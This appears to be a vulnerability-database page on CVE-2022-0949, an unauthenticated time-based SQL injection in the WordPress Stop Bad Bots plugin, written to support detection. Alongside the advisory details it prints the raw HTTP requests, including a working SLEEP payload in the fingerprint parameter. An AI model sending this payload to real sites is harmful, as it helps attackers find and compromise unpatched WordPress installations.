🔙 목록으로 돌아가기

CVE-2022-0949: WordPress Stop Bad Bots <6.930 - SQL Injection

TitleWordPress Stop Bad Bots <6.930 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
RemediationFixed in version 6.930.
CVSS Score9.8
EPSS Score0.69083
CVE IDCVE-2022-0949
CWE IDCWE-89
Tags time-based-sqli cve cve2022 stopbadbots wp-plugin wp unauth wpscan sqli wordpress vuln

🔍 Vulnerability Description

WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
X-Real-IP: 1.1.1.44
Accept-Encoding: gzip

action=stopbadbots_grava_fingerprint&fingerprint=0
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
X-Real-IP: 1.1.1.44
Accept-Encoding: gzip

action=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6))
GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10.15, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0949.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0949.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A